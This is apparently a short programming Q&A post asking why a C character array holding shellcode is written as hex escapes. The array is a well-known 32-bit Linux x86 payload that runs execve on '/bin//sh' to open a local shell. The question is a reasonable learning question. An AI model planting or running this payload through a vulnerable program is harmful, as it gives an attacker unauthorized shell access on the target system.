title: Shellcode c language
body: <pre><code>char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68"
  "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80";
  </code></pre>
  
  <p>Why did the programmer use hex encoding for this string? For example, why use <code>\x31</code> for the first character rather than <code>1</code>?</p>